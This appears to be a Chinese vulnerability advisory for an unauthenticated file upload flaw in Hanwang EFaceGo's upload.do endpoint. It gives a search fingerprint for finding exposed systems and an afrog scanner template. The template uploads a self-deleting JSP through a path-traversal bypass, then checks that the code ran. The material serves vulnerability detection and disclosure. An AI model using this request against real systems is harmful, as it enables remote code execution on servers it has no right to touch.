漏洞信息
漏洞名称: 汉王EFaceGo upload.do 任意文件上传漏洞
漏洞类型: 文件上传
漏洞等级: 严重
漏洞描述: 汉王EFaceGo是一款人脸识别系统,广泛应用于安全监控、身份验证等领域。该系统提供了一个upload.do接口,用于文件上传功能。由于缺乏足够的文件类型和内容验证,攻击者可以利用此接口上传任意文件,包括恶意脚本。这种漏洞的存在使得未经身份验证的攻击者能够在服务器上执行任意代码,进而可能控制整个Web服务器。具体来说,漏洞的根源在于upload.do接口未能正确验证上传文件的类型和内容,导致攻击者可以上传.jsp文件,其中包含的恶意代码可以被服务器执行。这种漏洞的利用可能导致服务器被完全控制,数据泄露,以及服务中断等严重后果。由于攻击者无需任何身份验证即可利用此漏洞,因此其危害性极高,属于严重级别的安全漏洞。
产品厂商: 汉王
产品名称: EFaceGo
搜索语法: icon_hash=”1380907357”
来源: https://github.com/zan8in/afrog/blob/afc4b21468b346fc2e43ca88595a365ff0f4ac15/pocs%2Ftemp%2Fafrog-pocs%2Fvulnerability%2Fhanwang-efacego-upload-do-fileupload.yaml
类型: zan8in/afrog:github commit
POC详情
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| id: hanwang-efacego-upload-do-fileupload
info: name: 汉王EFaceGo upload.do 任意文件上传漏洞 author: Superhero severity: critical description: |- fofa: icon_hash="1380907357" 汉王EFaceGo upload.do 接口存在文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。 reference: - https://mp.weixin.qq.com/s/pj5IiQZAy_K1QhhHLuShbw tags: hanwang,fileupload created: 2025/07/08
set: username: randomLowercase(6) rboundary: randomLowercase(8) randombody: randomLowercase(32) rules: r0: request: method: POST path: /manage/intercom/..%3B/..%3B/manage/resourceUpload/upload.do headers: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}} body: |- ------WebKitFormBoundary{{rboundary}} Content-Disposition: form-data; name="file"; filename="{{username}}.jsp" Content-Type: image/jpeg
<% out.println("{{randombody}}"); new java.io.File(application.getRealPath(request.getServletPath())).delete(); %> ------WebKitFormBoundary{{rboundary}}-- expression: response.status == 200 output: search: '"(?P<uploadfile>upload/[a-zA-Z0-9-]+\\.jsp)".bsubmatch(response.body)' uploadfile: search["uploadfile"] r1: request: method: GET path: /manage/operation/{{uploadfile}} expression: response.status == 200 && response.body.bcontains(bytes(randombody)) expression: r0() && r1()
|